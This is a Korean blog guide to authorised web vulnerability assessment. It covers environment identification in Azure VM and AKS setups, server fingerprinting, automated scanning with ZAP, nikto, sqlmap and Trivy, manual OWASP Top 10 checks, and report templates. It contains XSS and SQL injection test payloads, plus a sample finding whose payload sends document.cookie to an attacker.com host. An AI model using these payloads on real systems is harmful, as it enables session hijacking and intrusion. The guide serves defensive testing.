Post

웹 취약점 진단 완전 가이드: VM·AKS 환경 식별부터 WEB/WAS 수동·자동 진단까지

웹 취약점 진단 완전 가이드: VM·AKS 환경 식별부터 WEB/WAS 수동·자동 진단까지

웹 서비스 취약점 진단에서 가장 먼저 해야 할 일은 “해당 웹 서비스가 어디서, 어떻게 구동되고 있는가”를 정확히 파악하는 것입니다.

VM에서 돌고 있는지, AKS(Azure Kubernetes Service) 같은 컨테이너 환경인지에 따라 진단 접근 방식이 완전히 달라집니다. 이 글에서는 환경 식별 → WEB/WAS 서버 확인 → 자동+수동 복합 진단 전 과정을 기술적으로 정리합니다.


1. 진단 대상 환경 식별

1.1. VM 기반 vs Kubernetes 기반 판별

웹 서비스가 외부로 노출될 때 이 둘의 차이는 아래와 같습니다.

구분VM 기반 (IaaS)Kubernetes 기반 (AKS/EKS/GKE)
접근 IPVM의 퍼블릭 IP 또는 Load Balancer IPIngress Controller IP / Azure Application Gateway
포트 노출VM에서 직접 포트 오픈 (NSG/SG)Service → Ingress → 외부 노출
WEB 서버nginx/Apache가 VM OS 위에서 직접 실행Pod 내부 컨테이너로 실행
WAS 서버Tomcat/Node.js가 VM OS에서 실행별도 파드로 분리 실행
헤더 특징OS 레벨 서버 정보 노출 가능Ingress에서 헤더 재작성 다수

1.2. Azure 환경 식별 방법

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# VM 목록 + 퍼블릭 IP 확인
az vm list-ip-addresses \
  --query "[].{Name:virtualMachine.name, PublicIP:virtualMachine.network.publicIpAddresses[0].ipAddress}" \
  -o table

# AKS 클러스터 목록
az aks list \
  --query "[].{Name:name, RG:resourceGroup, K8sVersion:kubernetesVersion, FQDN:privateFqdn}" \
  -o table

# Ingress (외부 노출 URL) 확인
kubectl get ingress --all-namespaces \
  -o custom-columns="NAMESPACE:.metadata.namespace,NAME:.metadata.name,HOST:.spec.rules[*].host,PATH:.spec.rules[*].http.paths[*].path"

# LoadBalancer 타입 Service (IP 노출)
kubectl get svc --all-namespaces | grep LoadBalancer

1.3. 환경별 URL → 서버 역할 매핑

1
2
3
4
5
6
7
8
9
10
[VM 기반 예시]
https://app.example.com   →  Azure VM (nginx:443) → Tomcat (8080)

[AKS 기반 예시]
https://api.example.com   →  Azure Application Gateway → nginx Ingress Pod → Spring Boot Pod
https://admin.example.com →  nginx Ingress Controller → Admin App Pod

[혼합 환경]
https://www.example.com   →  VM 기반 (레거시)
https://api.example.com   →  AKS 기반 (신규)

동일한 도메인이라도 내부 라우팅에 따라 VM과 K8s가 혼용되는 경우가 많습니다. Ingress 규칙과 Path-based routing을 반드시 확인하세요.


2. WEB/WAS 서버 스택 식별

2.1. HTTP 헤더 분석 (빠른 식별)

1
2
3
4
5
6
7
8
9
10
11
# 기본 헤더 확인
curl -I -s https://target.example.com

# 상세 헤더 + 리다이렉트 추적
curl -Iv --location https://target.example.com 2>&1 | grep -E "Server:|X-Powered-By:|Via:|X-AspNet|X-Runtime"

# 여러 경로에 대해 일괄 확인
for PATH in "/" "/api" "/admin" "/health"; do
  echo "=== $PATH ===";
  curl -Is "https://target.example.com$PATH" | grep -E "HTTP/|Server:|X-Powered-By:";
done

헤더로 WEB/WAS 식별 예시:

헤더 값WEB 서버WAS/프레임워크
Server: nginx/1.21.0nginx-
Server: Apache/2.4.51 (Unix)Apache-
X-Powered-By: Tomcat-Apache Tomcat
X-Powered-By: Express-Node.js/Express
X-Powered-By: PHP/8.1.2-PHP
X-AspNet-Version: 4.0.30319-ASP.NET
server: istio-envoyIstio Proxy(K8s Service Mesh)

AKS 환경에서는 nginx Ingress가 Server: nginx 헤더를 응답하지만, 이는 WAS가 아닌 Ingress Controller입니다. 실제 WAS를 식별하려면 애플리케이션 레이어 응답을 분석해야 합니다.

2.2. 자동화 도구로 기술 스택 식별

1
2
3
4
5
6
7
8
9
10
11
# whatweb — WEB/WAS 기술 스택 자동 식별
whatweb -v https://target.example.com

# wappalyzer CLI
npx wappalyzer https://target.example.com --probe --pretty

# nmap — 서비스 버전 + OS 탐지
nmap -sV -sC -p 80,443,8080,8443,8000,9000 target.example.com

# nikto — WEB 서버 기본 취약점 스캔
nikto -h https://target.example.com -o nikto_result.txt

2.3. AKS 환경에서 WEB/WAS 파드 직접 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 웹 관련 파드 목록 확인
kubectl get pods --all-namespaces \
  -o custom-columns="NAMESPACE:.metadata.namespace,NAME:.metadata.name,IMAGE:.spec.containers[*].image,STATUS:.status.phase"

# 특정 파드의 실행 서버 확인 (exec)
kubectl exec -n <namespace> <pod-name> -- nginx -v
kubectl exec -n <namespace> <pod-name> -- java -version
kubectl exec -n <namespace> <pod-name> -- node --version
kubectl exec -n <namespace> <pod-name> -- php -v

# 파드 내부 포트 확인
kubectl exec -n <namespace> <pod-name> -- ss -tlnp

# 컨테이너 이미지 상세 확인 (취약 버전 식별용)
kubectl get pod <pod-name> -n <namespace> -o jsonpath='{.spec.containers[*].image}'

3. 진단 대상 URL 목록 구성

3.1. URL 수집 자동화

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash
# web_target_discovery.sh - 웹 진단 대상 URL 수집

OUTPUT="web_targets_$(date '+%Y%m%d').txt"
echo "# 웹 취약점 진단 대상 목록" > "$OUTPUT"
echo "# 수집 일시: $(date '+%Y-%m-%d %H:%M:%S')" >> "$OUTPUT"
echo "" >> "$OUTPUT"

# 1. AKS Ingress 기반 URL 수집
echo "## [AKS Ingress URLs]" >> "$OUTPUT"
kubectl get ingress --all-namespaces -o json | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
for item in data.get('items', []):
    ns = item['metadata']['namespace']
    name = item['metadata']['name']
    for rule in item.get('spec', {}).get('rules', []):
        host = rule.get('host', '')
        for path in rule.get('http', {}).get('paths', []):
            p = path.get('path', '/')
            print(f'https://{host}{p}  # ns={ns}, ingress={name}')
" >> "$OUTPUT"

# 2. LoadBalancer Service 기반 URL 수집
echo "" >> "$OUTPUT"
echo "## [LoadBalancer Service URLs]" >> "$OUTPUT"
kubectl get svc --all-namespaces -o json | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
for svc in data.get('items', []):
    if svc['spec']['type'] == 'LoadBalancer':
        ns = svc['metadata']['namespace']
        name = svc['metadata']['name']
        ingress = svc.get('status', {}).get('loadBalancer', {}).get('ingress', [])
        for ing in ingress:
            ip = ing.get('ip', ing.get('hostname', ''))
            for port in svc['spec']['ports']:
                p = port['port']
                print(f'http://{ip}:{p}  # ns={ns}, svc={name}')
" >> "$OUTPUT"

# 3. Azure VM 기반 URL 수집 (공개 IP + 포트)
echo "" >> "$OUTPUT"
echo "## [Azure VM URLs]" >> "$OUTPUT"
az vm list-ip-addresses \
  --query "[].{name:virtualMachine.name, ip:virtualMachine.network.publicIpAddresses[0].ipAddress}" \
  -o tsv 2>/dev/null | while IFS=$'\t' read -r NAME IP; do
  if [ -n "$IP" ]; then
    echo "https://$IP  # vm=$NAME" >> "$OUTPUT"
  fi
done

echo ""
echo "✅ 진단 대상 URL 목록 저장: $OUTPUT"
cat "$OUTPUT"

3.2. 진단 대상 분류

분류기준진단 우선순위
필수 진단인터넷 노출 URL, 인증 없는 접근 가능즉시
우선 진단VPN/내부망 URL, 로그인 필요1순위
선택 진단개발/테스트 환경 URL샘플
제외관리자 전용, CSP 관리 콘솔근거 문서화

4. 자동 진단 (Automated Testing)

4.1. OWASP ZAP — URL 기반 자동 스캔

OWASP ZAP은 웹 취약점 자동 스캔의 표준 도구입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Docker로 ZAP 실행 (설치 불필요)
docker pull ghcr.io/zaproxy/zaproxy:stable

# 기본 스캔 (Baseline Scan)
docker run --rm \
  -v $(pwd)/zap-reports:/zap/wrk \
  ghcr.io/zaproxy/zaproxy:stable \
  zap-baseline.py \
  -t https://target.example.com \
  -r zap_baseline_report.html \
  -J zap_baseline_report.json

# 전체 스캔 (Full Scan) — 능동적 취약점 탐지
docker run --rm \
  -v $(pwd)/zap-reports:/zap/wrk \
  ghcr.io/zaproxy/zaproxy:stable \
  zap-full-scan.py \
  -t https://target.example.com \
  -r zap_full_report.html \
  -J zap_full_report.json

# API 스캔 (OpenAPI/Swagger 기반)
docker run --rm \
  -v $(pwd)/zap-reports:/zap/wrk \
  ghcr.io/zaproxy/zaproxy:stable \
  zap-api-scan.py \
  -t https://target.example.com/api/v1/openapi.json \
  -f openapi \
  -r zap_api_report.html

ZAP 검사 항목 (주요):

OWASP Top 10 항목ZAP 탐지 여부
A01: 취약한 접근제어✅ (인증 우회 시도)
A02: 암호화 실패✅ (HTTP, 취약 TLS)
A03: 인젝션 (SQLi, XSS)✅ (자동 페이로드)
A05: 보안 설정 오류✅ (헤더 점검)
A06: 취약한 컴포넌트⚠️ (부분적)
A07: 인증/세션 관리 실패✅ (세션 분석)

4.2. 복수 URL 일괄 자동 스캔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
# zap_batch_scan.sh - 여러 URL 일괄 ZAP 스캔

TARGET_FILE="web_targets.txt"
REPORT_DIR="./zap_reports_$(date '+%Y%m%d')"
mkdir -p "$REPORT_DIR"

while IFS= read -r LINE; do
  # 주석 및 빈 줄 건너뜀
  [[ "$LINE" =~ ^#.*$ || -z "$LINE" ]] && continue

  URL=$(echo "$LINE" | awk '{print $1}')
  SAFE_NAME=$(echo "$URL" | sed 's|https\?://||;s|[/:?]|_|g')

  echo "━━━ 스캔 시작: $URL ━━━"

  docker run --rm \
    -v "$REPORT_DIR":/zap/wrk \
    ghcr.io/zaproxy/zaproxy:stable \
    zap-baseline.py \
    -t "$URL" \
    -r "report_${SAFE_NAME}.html" \
    -J "report_${SAFE_NAME}.json" \
    -l WARN 2>&1 | tail -5

  echo "  → 완료: $REPORT_DIR/report_${SAFE_NAME}.html"
done < "$TARGET_FILE"

echo ""
echo "✅ 전체 스캔 완료. 보고서: $REPORT_DIR/"

4.3. WEB 서버 설정 자동 점검

nginx 설정 점검

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# VM에서 직접 점검
nginx -T 2>/dev/null | grep -E "server_tokens|ssl_protocols|ssl_ciphers|add_header"

# AKS nginx Ingress ConfigMap 점검
kubectl describe configmap -n ingress-nginx ingress-nginx-controller

# nginx 설정 주요 점검 항목
cat <<'EOF'
=== nginx 보안 설정 점검 체크리스트 ===

[ ] server_tokens off;                     → 버전 정보 노출 차단
[ ] ssl_protocols TLSv1.2 TLSv1.3;        → 취약 TLS 비활성화 (SSLv3, TLS 1.0 차단)
[ ] ssl_ciphers ECDHE-RSA-AES256-GCM-...  → 강력한 암호화 스위트
[ ] add_header X-Frame-Options DENY;       → Clickjacking 방지
[ ] add_header X-Content-Type-Options nosniff;
[ ] add_header X-XSS-Protection "1; mode=block";
[ ] add_header Strict-Transport-Security "max-age=31536000";
[ ] add_header Content-Security-Policy "...";
[ ] client_max_body_size 10m;              → 대용량 업로드 제한
[ ] limit_req_zone; / limit_req;           → Rate Limiting
EOF

Apache 설정 점검

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# VM에서 직접 점검
apachectl -M 2>/dev/null        # 활성화된 모듈 목록
apachectl -S 2>/dev/null        # Virtual Host 설정
grep -rE "ServerTokens|ServerSignature|TraceEnable|Indexes" /etc/apache2/ /etc/httpd/

# Apache 보안 설정 점검
cat <<'EOF'
=== Apache 보안 설정 점검 체크리스트 ===

[ ] ServerTokens Prod;           → 서버 버전 정보 최소화
[ ] ServerSignature Off;         → 오류 페이지 서버 정보 숨김
[ ] TraceEnable Off;             → HTTP TRACE 메서드 비활성화
[ ] Options -Indexes;            → 디렉토리 목록 노출 방지
[ ] Header always append X-Frame-Options DENY
[ ] Header set X-Content-Type-Options nosniff
[ ] LimitRequestBody 10485760;   → 요청 크기 제한
[ ] mod_security 설치 및 활성화; → WAF 모듈
EOF

Tomcat WAS 설정 점검

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Tomcat 설정 파일 위치 (VM)
find /opt /usr /home -name "server.xml" 2>/dev/null
find /opt /usr /home -name "web.xml" 2>/dev/null

# manager 앱, host-manager 접근 제한 확인
grep -r "RemoteAddrValve\|RemoteHostValve" /opt/tomcat/conf/ 2>/dev/null

# AKS 파드 내 Tomcat 설정 점검
kubectl exec -n <namespace> <tomcat-pod> -- cat /usr/local/tomcat/conf/server.xml

cat <<'EOF'
=== Tomcat 보안 설정 점검 체크리스트 ===

[ ] Connector의 server 속성 제거/변경    → 버전 정보 숨김
[ ] /manager 접근을 IP 제한 (RemoteAddrValve)
[ ] /host-manager 접근을 IP 제한
[ ] shutdown port 변경 (기본 8005 → 비활성화)
[ ] AJP Connector 비활성화 (사용 안 할 경우)
[ ] autoDeploy="false" 설정              → 임의 배포 방지
[ ] DefaultServlet의 readonly="true"     → 파일 업로드 방지
[ ] Strict-Transport-Security 헤더 설정
[ ] 취약 버전 확인 (CVE 조회)
EOF

5. 수동 진단 (Manual Testing)

자동 스캔은 알려진 패턴 기반이므로, 비즈니스 로직 취약점은 반드시 수동으로 확인해야 합니다.

5.1. Burp Suite를 활용한 수동 진단

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[Burp Suite 수동 진단 흐름]

① Proxy 설정
   브라우저 → Burp Proxy (127.0.0.1:8080) → 대상 웹사이트

② Scope 설정
   Target → Scope에 진단 대상 URL 추가

③ Spider / Crawl
   자동으로 웹 사이트 내 URL, 폼, API 엔드포인트 수집

④ Repeater — 요청 조작 및 반복 테스트
   수집된 요청 → 파라미터 변조 → 서버 응답 분석

⑤ Intruder — 자동화된 페이로드 삽입
   SQLi, XSS, IDOR 등 페이로드 리스트 적용

⑥ Decoder / Comparer
   Base64, URL 인코딩 분석, 응답 차이 비교

5.2. OWASP Top 10 수동 점검 시나리오

A01: 취약한 접근제어 (Broken Access Control)

1
2
3
4
5
6
7
8
9
10
점검 방법:
1. 다른 사용자 ID로 자원 접근 시도 (IDOR)
   GET /api/users/1001/profile  → 로그인 사용자가 1002이면?

2. 권한 없는 URL 직접 접근
   /admin → 일반 사용자로 접근 시 403인지 확인

3. HTTP 메서드 변조
   GET /api/orders/delete/123
   DELETE /api/orders/123  → 권한 차이 확인

A03: 인젝션

1
2
3
4
5
6
7
8
9
10
# SQLi 테스트 (sqlmap)
sqlmap -u "https://target.example.com/search?q=test" \
  --level=3 --risk=2 \
  --dbs --batch

# XSS 테스트 (수동 페이로드)
# 입력 폼, URL 파라미터, HTTP 헤더에 아래 페이로드 삽입
<script>alert(document.domain)</script>
"><img src=x onerror=alert(1)>
javascript:alert(1)

A05: 보안 설정 오류

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 중요 파일 노출 확인
for FILE in /.env /.git/config /web.config /backup.sql /robots.txt /sitemap.xml \
            /phpinfo.php /.DS_Store /server-status /server-info; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com$FILE")
  echo "$CODE  $FILE"
done

# 불필요한 HTTP 메서드 확인
curl -X OPTIONS -I https://target.example.com
curl -X TRACE -I https://target.example.com

# 보안 헤더 종합 점검
curl -I https://target.example.com | grep -iE \
  "Strict-Transport|X-Frame|X-Content-Type|Content-Security|X-XSS|Referrer-Policy"

A07: 인증 및 세션 관리 실패

1
2
3
4
5
6
7
점검 항목:
[ ] 로그인 시도 횟수 제한 (Brute Force 방어)
[ ] 세션 토큰 복잡도 및 예측 불가능성
[ ] 로그아웃 후 세션 무효화
[ ] HTTPS Only 쿠키 속성 (Secure, HttpOnly, SameSite)
[ ] 비밀번호 재설정 링크의 만료 시간
[ ] JWT Token: alg=none, 약한 서명키 확인

5.3. 수동 진단 체크리스트 (전체)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
=== 웹 취약점 수동 진단 체크리스트 ===

[인증 및 세션]
[ ] 기본 관리자 계정 (admin/admin, admin/1234 등)
[ ] 계정 잠금 정책 미적용 → Brute Force
[ ] 세션 ID가 URL에 노출
[ ] 로그아웃 후 세션 재사용 가능
[ ] 쿠키 Secure/HttpOnly 속성 미설정

[입력값 검증]
[ ] GET/POST 파라미터 SQLi
[ ] XSS (Reflected, Stored, DOM)
[ ] Command Injection (OS 명령어 삽입)
[ ] Path Traversal (../../etc/passwd)
[ ] XML/JSON Injection (SSTI, XXE)

[파일 처리]
[ ] 파일 업로드 — 확장자 우회 (webshell)
[ ] 파일 다운로드 — 경로 조작
[ ] 임시 파일 노출 (backup, .bak, .old)

[접근 제어]
[ ] IDOR (직접 객체 참조)
[ ] 수평적 권한 상승 (다른 사용자 데이터 접근)
[ ] 수직적 권한 상승 (일반 사용자 → 관리자)
[ ] API 엔드포인트 무인증 접근

[설정 오류]
[ ] 디렉토리 목록 노출
[ ] 오류 페이지 내 스택 트레이스 노출
[ ] 개발 환경 정보 노출 (DEBUG=True 등)
[ ] 불필요한 HTTP 메서드 (TRACE, PUT, DELETE)
[ ] 보안 헤더 미설정

[암호화]
[ ] 평문 HTTP 서비스 (HTTPS 미적용)
[ ] 취약 TLS 버전 (TLS 1.0, 1.1, SSLv3)
[ ] 약한 암호화 스위트 (RC4, DES, 3DES)
[ ] 인증서 만료 또는 자체 서명 인증서

[API 보안]
[ ] API Rate Limiting 미적용
[ ] API Key/Token이 응답 바디에 노출
[ ] Swagger/OpenAPI 문서 무인증 공개
[ ] GraphQL — Introspection 공개, Depth 제한 없음

6. WEB/WAS 서버별 전용 진단 도구

6.1. SSL/TLS 취약점 진단

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# testssl.sh — TLS 취약점 종합 진단
docker run --rm \
  drwetter/testssl.sh \
  --severity HIGH \
  --html \
  --jsonfile /tmp/tls_report.json \
  https://target.example.com

# 주요 취약점 확인 항목
# - BEAST (CVE-2011-3389)
# - POODLE (CVE-2014-8730)
# - HEARTBLEED (CVE-2014-0160)
# - DROWN (CVE-2016-0800)
# - ROBOT (FFT/RSA padding oracle)
# - 인증서 유효기간, CN, SAN 확인

6.2. 웹 서버 버전 취약점 조회

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash
# web_server_cve_check.sh - WEB 서버 버전 CVE 조회

check_cve() {
  local PRODUCT="$1"
  local VERSION="$2"
  echo "=== $PRODUCT $VERSION CVE 조회 ==="
  curl -s "https://cve.circl.lu/api/search/$PRODUCT/$VERSION" | \
    python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    results = data if isinstance(data, list) else data.get('results', [])
    critical = [r for r in results if r.get('cvss', 0) >= 9.0]
    high = [r for r in results if 7.0 <= r.get('cvss', 0) < 9.0]
    print(f'  Critical: {len(critical)}건, High: {len(high)}건')
    for r in (critical + high)[:5]:
        print(f'  [{r.get(\"cvss\",0):.1f}] {r.get(\"id\",\"\")} - {r.get(\"summary\",\"\")[:80]}')
except: print('  조회 실패')
"
}

# 대상의 WEB/WAS 버전 자동 감지
TARGET="https://target.example.com"
SERVER_HEADER=$(curl -Is "$TARGET" | grep -i "^Server:" | head -1)
echo "서버 헤더: $SERVER_HEADER"

# nginx 버전 추출
NGINX_VER=$(echo "$SERVER_HEADER" | grep -oP 'nginx/\K[\d.]+')
[ -n "$NGINX_VER" ] && check_cve "nginx" "$NGINX_VER"

# Apache 버전 추출
APACHE_VER=$(echo "$SERVER_HEADER" | grep -oP 'Apache/\K[\d.]+')
[ -n "$APACHE_VER" ] && check_cve "apache_http_server" "$APACHE_VER"

6.3. AKS 컨테이너 이미지 취약점 스캔 (Trivy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 실행 중인 파드 이미지 일괄 스캔
kubectl get pods --all-namespaces \
  -o jsonpath='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}' | \
  sort -u | \
while read -r IMAGE; do
  echo "━━━ 스캔: $IMAGE ━━━"
  trivy image \
    --severity HIGH,CRITICAL \
    --format table \
    "$IMAGE" 2>/dev/null | tail -20
done

# 특정 파드의 전체 취약점 보고서
trivy image \
  --severity CRITICAL,HIGH,MEDIUM \
  --format json \
  --output "trivy_$(echo $IMAGE | tr '/:' '_').json" \
  nginx:1.21.0

7. 수동+자동 복합 진단 프로세스

7.1. 복합 진단 워크플로우

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[Phase 1] 대상 식별 및 정보 수집 (OSINT + 내부 조회) ──────────────
  ① Azure/AKS CLI로 URL 목록 수집
  ② HTTP 헤더 분석으로 WEB/WAS 스택 식별
  ③ whatweb, nmap으로 기술 정보 수집
  ④ 진단 대상 범위 확정 (스코프 문서 작성)

[Phase 2] 자동 스캔 ────────────────────────────────────────────────
  ① OWASP ZAP Baseline 스캔 (전체 URL)
  ② testssl.sh로 TLS 취약점 스캔
  ③ nikto로 WEB 서버 기본 취약점 스캔
  ④ Trivy로 컨테이너 이미지 CVE 스캔 (AKS)
  ⑤ 자동 스캔 결과 정리 (False Positive 제거)

[Phase 3] 수동 검증 (자동 결과 기반) ──────────────────────────────
  ① 자동 스캔 취약점 항목 수동 재현
  ② 비즈니스 로직 취약점 검토 (IDOR, 권한 우회)
  ③ Burp Suite로 심화 분석
  ④ WEB/WAS 서버 설정 점검 (서버 직접 접근 또는 파드 exec)

[Phase 4] 위험도 평가 및 보고 ─────────────────────────────────────
  ① CVSS 점수 기반 위험도 분류 (Critical/High/Medium/Low)
  ② 취약점별 PoC 및 재현 경로 문서화
  ③ 조치 권고사항 작성
  ④ 재진단 일정 협의

7.2. 환경별 진단 전략 매트릭스

구분VM 기반AKS/K8s 기반
URL 식별Azure VM 공개 IP/도메인kubectl get ingress
WEB 서버VM에서 nginx/Apache 직접 점검Ingress Controller ConfigMap 점검
WAS 서버SSH 접속 후 설정 파일 점검kubectl exec으로 파드 내부 점검
자동 스캔ZAP → URL 직접 스캔ZAP → Ingress URL 스캔
이미지 CVEOS 패키지 취약점 (Trivy/OpenVAS)컨테이너 이미지 Trivy 스캔
네트워크NSG 규칙 점검NetworkPolicy + Ingress 규칙 점검

8. 진단 결과 위험도 분류 및 보고서

8.1. CVSS 기반 위험도 분류

위험도CVSS 범위대응 기한예시 취약점
Critical9.0 ~ 10.0즉시 (24h)RCE, SQLi (auth 없음), 인증서 탈취
High7.0 ~ 8.97일 이내Stored XSS, IDOR (민감 데이터), 취약 TLS
Medium4.0 ~ 6.930일 이내Reflected XSS, 보안 헤더 누락
Low0.1 ~ 3.990일 이내버전 노출, 불필요한 메서드 허용

8.2. 결과 보고서 양식 (항목별)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
## 취약점 항목: [Stored XSS — 게시판 본문 필드]

**위험도**: High (CVSS 7.4)
**URL**: https://target.example.com/board/write
**파라미터**: content (POST body)

**취약점 설명**:
게시판 본문 입력 필드에 스크립트 코드 삽입 후 저장 시,
다른 사용자가 해당 게시물 열람 시 악성 스크립트가 실행됩니다.

**재현 절차**:
1. /board/write 접속 후 본문에 아래 페이로드 입력
   <script>document.location='https://attacker.com/c?'+document.cookie</script>
2. 게시물 저장
3. 다른 계정으로 해당 게시물 열람 → 쿠키 탈취 확인

**영향**:
- 관리자 세션 탈취로 사이트 전체 장악 가능
- 사용자 개인정보 노출

**조치 권고**:
1. 서버 측 입력값 검증 (허용 태그 화이트리스트)
2. 출력 시 HTML 인코딩 적용
3. Content-Security-Policy 헤더 설정
4. HttpOnly 쿠키 속성 적용

9. ISMS/ISO 27001 증적 체크리스트

웹 취약점 진단 관련 심사 대비 준비 항목입니다.

#증적 자료비고
1진단 대상 URL 목록 (확정 스코프)담당자 서명
2진단 수행 계획서일정, 방법론, 담당자
3자동 스캔 결과 (ZAP, nikto)원본 HTML/JSON 보관
4수동 진단 결과 (Burp Suite 스크린샷)재현 증적 포함
5TLS 진단 결과 (testssl.sh)버전/암호화 스위트
6WEB/WAS 설정 점검 결과항목별 양호/취약 판정
7취약점 보고서 (위험도 분류)조치 권고사항 포함
8조치 완료 확인서재진단 결과 포함

심사관 단골 질문: “웹 취약점 진단은 어떤 도구로, 얼마나 자주 수행하나요?”

A: OWASP ZAP을 이용한 자동 스캔(분기 1회)과 Burp Suite 기반 수동 진단(반기 1회)을 병행하며, 주요 배포 시 변경사항에 대해 추가 스캔을 수행합니다.


관련 포스트

This post is licensed under CC BY 4.0 by the author.

© Pedro. Some rights reserved.